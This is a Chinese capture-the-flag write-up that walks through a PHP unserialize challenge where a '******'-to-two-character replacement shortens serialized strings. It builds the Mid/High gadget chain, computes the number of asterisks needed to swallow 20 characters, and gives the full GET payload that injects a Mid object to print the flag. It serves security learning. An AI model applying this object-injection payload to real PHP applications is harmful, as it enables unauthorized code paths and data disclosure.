一道字符串减少的反序列化题目,以前没有遇到过,结果在这里被制裁了,复现一下。增加姿势
注意吞掉这个词
题目
<?php @include 'common_ui.inc';?>
<?php
class Low{
public $user1;
public $user2;
function __construct($a, $b){
$this->user1 = $a;
$this->user2 = $b;
}
}
class Mid{
public $mid;
function __destruct(){
$high = 'nice,'.$this->mid;
echo $high;
}
}
class High{
public $high;
function __toString(){
//flag.php
include "flag.php";
if($this->high=='flag.php')
{
echo $flag;
echo "<br/>";
}
return 'good job';
}
}
if(isset($_GET['a'])&&isset($_GET['b']))
{
$a = new Low($_GET['a'],$_GET['b']);
$b = unserialize(str_replace('******', chr(0) . '$' , serialize($a)));
echo "<br>";
}
else
{
highlight_file("./test0.php");
}
?>
分析
可以发现,我们要想得到flag,靠的是High类的__toString()方法
class High{
public $high;
function __toString(){
//flag.php
include "flag.php";
if($this->high=='flag.php')
{
echo $flag;
echo "<br/>";
}
return 'good job';
}
}
只要我们将$this->high变量在反序列化的时候赋值成flag.php时即可输出flag了。
要想调用__toString()方法,就得找到一个能将类High输出的地方。发现在这个地方
class Mid{
public $mid;
function __destruct(){
$high = 'nice,'.$this->mid;
echo $high;
}
}
当我们把$this->mid在反序列化的时候赋值为new High()即可。
总体思路就这么简单,我们回到代码开始的地方
if(isset($_GET['a'])&&isset($_GET['b']))
{
$a = new Low($_GET['a'],$_GET['b']);
$b = unserialize(str_replace('******', chr(0) . '$' , serialize($a)));
echo "<br>";
}
else
{
highlight_file("./test0.php");
}
题目要求我们GET输入a和b的值,作为实例化Low这个对象的参数。
<?php
class Low{
public $user1;
public $user2;
function __construct($a, $b){
$this->user1 = $a;
$this->user2 = $b;
}
}
即赋值给user1和user2。
第二步在反序列化的时候会对序列化之后的字符串进行处理,将'******'替换为chr(0).'$'。注意
这里chr(0).'$'是两个字符,只是chr(0)不可见。
首先看看我们序列化字符串的样式
<?php
class Low{
public $user1;
public $user2;
function __construct($a,$b){
$this->user1 = $a;
$this->user2 = $b;
}
}
class Mid{
public $mid;
function __construct(){
$this->mid=new High();
}
}
class High{
public $high;
public function __construct(){
$this->high='flag.php';
}
}
if(isset($_GET['a'])&&isset($_GET['b']))
{
$a = new Low($_GET['a'],$_GET['b']);
echo serialize($a);
}
else
{
highlight_file("./test0.php");
}
结果:
O:3:"Low":2:{s:5:"user1";s:9:"new Mid()";s:5:"user2";s:10:"new High()";}
可以看到,因为我们是通过$_GET输入的,所以输入的数据为字符串类型。我们能够控制的地方就是new Mid()和new High()两处。
而我们想要的序列化结果为:
这里因为是前面吞掉后面的字符,所以是将user2赋值为new Mid()
<?php
class Low{
public $user1;
public $user2;
function __construct(){
$this->user1 = 'xxx';
$this->user2 = new Mid();
}
}
class Mid{
public $mid;
function __construct(){
$this->mid=new High();
}
}
class High{
public $high;
public function __construct(){
$this->high='flag.php';
}
}
if(isset($_GET['a'])&&isset($_GET['b']))
{
$a = new Low($_GET['a'],$_GET['b']);
echo serialize($a);
}
else
{
highlight_file("./test0.php");
}
结果:
O:3:"Low":2:{s:5:"user1";s:3:"xxx";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}
可以看到,我们将user2其中一个赋值为类Mid
即(重要代码,后面会用到)
s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}
那么就可以通过Mid的__construct()方法实例化类High,然后调用High的__destruct()方法,成功得到flag。
注意:前面为字符串,后面为对象时是有个分号;分开的。即s:3:"xxx"与s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}之间有个分号隔开的,所以待会处理的时候要注意
但是因为我们传入的数据会被作为字符串处理,没法直接传入上述数据。
<?php
class Low{
public $user1;
public $user2;
function __construct($a,$b){
$this->user1 = $a;
$this->user2 = $b;
}
}
class Mid{
public $mid;
function __construct(){
$this->mid=new High();
}
}
class High{
public $high;
public function __construct(){
$this->high='flag.php';
}
}
if(isset($_GET['a'])&&isset($_GET['b']))
{
$a = new Low($_GET['a'],$_GET['b']);
echo serialize($a);
}
else
{
highlight_file("./test0.php");
}
注意:因为前面说了两者之间有个;隔开,所以在给b传值时候需要在重要代码前加一个;
结果:
O:3:"Low":2:{s:5:"user1";s:3:"xxx";s:5:"user2";s:79:";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}";}
可以看见,传入的数据都作为字符串扩起来了
那么应该怎么做呢?吞掉
可以看见在反序列化之后还有一个字符串替换函数
str_replace('******', chr(0) . '$' , serialize($a))
这串代码,表示每6个*会替换成两个字符。那么就会吞掉后面4个字符
如果我们对a传入n个*,user1的结果就会变成
O:3:"Low":2:{s:5:"user1";s:n:"n个*";s:5:"user2";s:79:";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}";}
经过替换后,*的个数少于n,那么就会继续吞掉后面的字符,当到达一个程度后,会把后面的
";s:5:"user2";s:79:
//19个字符
19个字符全部吞掉,后面的一个"与前面的一个"形成闭合。剩下
;s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}";}
这样user2的结果就是一个Mid类了。
如何算需要多少个*呢?
我们这样想,每6个*替换成2两个字符,就会吞掉4个字符,总共需要吞掉19个字符,但是19除4是除不尽的,所以我们还要在给b传值时候在多加一个字符;因为需要再吞一个字符就会把后面的" 吞掉,为了闭合,我们多加一个" (以后推荐要多加字符的时候,全部用")
那么现在就需要吞掉20个字符了,每6个*替换成2两个字符,吞掉4个字符。6个*为一组,一组能吞掉4个字符,需要20➗4=5组,所以我们需要(20➗4)✖️6=5✖️6=30个*
payload:
GET:
?a=******************************&b=";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}";}
我们加上字符串替换函数看看:
<?php
class Low{
public $user1;
public $user2;
function __construct($a,$b){
$this->user1 = $a;
$this->user2 = $b;
}
}
class Mid{
public $mid;
function __construct(){
$this->mid=new High();
}
}
class High{
public $high;
public function __construct(){
$this->high='flag.php';
}
}
if(isset($_GET['a'])&&isset($_GET['b']))
{
$a = new Low($_GET['a'],$_GET['b']);
$b = unserialize(str_replace('******', chr(0) . '$' , serialize($a)));
var_dump($b);
}
else
{
highlight_file("./test0.php");
}
?>
传值:
GET:
?a=******************************&b=";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}";}
结果:
成功将user2污染为Mid()类对象。
payload:
GET:
?a=******************************&b=";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}}}";}
结果: